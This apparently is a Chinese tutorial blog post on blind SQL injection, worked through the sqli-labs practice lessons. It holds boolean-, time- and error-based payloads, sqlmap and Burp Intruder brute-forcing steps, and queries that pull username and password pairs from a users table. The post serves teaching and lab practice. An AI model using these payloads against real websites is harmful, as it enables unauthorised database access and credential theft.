SQL盲注

基本原理

服务器没有直接对sql语句的执行结果回显,但是能够通过某些手段确定该sql语句是否执行。

盲注分类

  • 布尔盲注:根据某些页面元素,判断是否执行成功。
  • 时间盲注:通过构造sleep等函数,判断页面加载时间。
  • 错误盲注:某些特定函数能返回数据库错误。

关键函数

  • mid(string,start,length) 从start位置截取length长度
  • substr(string,start,length) 从start位置截取length长度
  • left(string,length) 从左开始截取
  • right(string,length) 从右开始截取
  • sleep(3)
  • if(a,b,c) 如果A正确返回b,否则返回c

基于布尔的盲注

sqli-lab less8

#首先尝试闭合、注释,查找注入点
1' --+
and 1=1 --+
and 1=2 --+
#使用截取字符串函数,逐个试错来查找匹配的字符
1' and left(version(),1)=5--+ 
1' and mid(version(),1,1)=5 --+ 
1' and substr(version(),1,1)=5 --+
1' and length(database())=8--+ 
1' and substr((select table_name from information_schema.`TABLES` WHERE table_schema=database() limit 0,1),1,1)='e'--+
1' and ascii(substr((select table_name from information_schema.`TABLES` WHERE table_schema=database() limit 0,1),1,1))=102--+

基于时间的盲注

sqlilab less9,页面无论正确还是错误,返回均是一样。

- if(a,b,c) 如果A正确返回b,否则返回c
id=1' and if (1=2,1,sleep(5)) --+
1' and if(ascii(substr(version(),1,1))=53,1,sleep(5))--+ 
正确直接返回,不正确sleep 5s

基于报错的盲注

select exp(~(select * FROM(SELECT USER())a))
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a; 
select !(select * from (select user())x) - ~0

测试工具

burpsuite

利用instuder模块,配合字典进行半自动注入。

  • 构造sql注入预计,使用bp抓包
  • 使用instuder模块,选取关键字段进行爆破

sqlmap

sqlmap -r re.txt --batch

猜解列名

  • 使用kali中的字典
root@kali:/home/kali# find / -name *column*.txt
/usr/share/sqlmap/data/txt/common-columns.txt

字典中尽量去除 # 开头的列
cat /usr/share/sqlmap/data/txt/common-columns.txt | grep -v ^# > columns.txt
  • 使用以下语句注入:
' and col_name is null -- 
  • burpsuite抓包后,send intruder,对col_name字段进行爆破,根据返回结果的字段长度筛选正确的列名。


    image.png

    image.png

    image.png

猜解表名、数据库名

  • 猜测列名后,逐级猜测表名和数据库名
' and table.user is null -- 
' and db.table.user is null -- 

猜具体的数据

' and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))> 64 
' and ascii(substring((select concat(user,0x3a,password) from users limit 0,1),1,1))> 100
# 根据返回值逐个判断

函数主要用法

1' and left(version(),1)=5--+ 
1' and mid(version(),1,1)=5 --+ 
1' and substr(version(),1,1)=5 --+

1' and length(database())=8--+ 
1' and ascii(substr((select table_name from information_schema.`TABLES` WHERE table_schema=database() limit 0,1),1,1))=102

加固函数

addslashes()
stripslashes()
mysql_real_escape_string()

参考

Ascii对照表
https://tool.oschina.net/commons?type=4

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 普通的sql注入大致可以通过在提交框中输入单引号、双引号和括号等看网页的返回内容来判断,但有很多网站并不会将一些敏...
    浅笑清欢阅读 6,493评论 2 4
  • 这是个笔记,没自己试过,就是涨姿势的。很好的资料:随笔分类 - sqli-labs通关详解[%5Bhttps://...
    yumiii_阅读 7,559评论 2 10
  • 思路:*判断是否存在注入,注入是字符型还是数字型*猜解当前数据库名*猜解数据库表名*猜解字段名*猜解数据1判断注入...
    昨天今天下雨天1阅读 4,719评论 0 0
  • sql盲注 在刚接触sql注入的时候还不太清楚sql盲注是什么,很多东西都要自己去体会才能知道到底是什么样子的。 ...
    Hell0_C阅读 24,988评论 3 51
  • 首发地址:我的个人博客 前言 本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就...
    简言之_阅读 4,866评论 0 7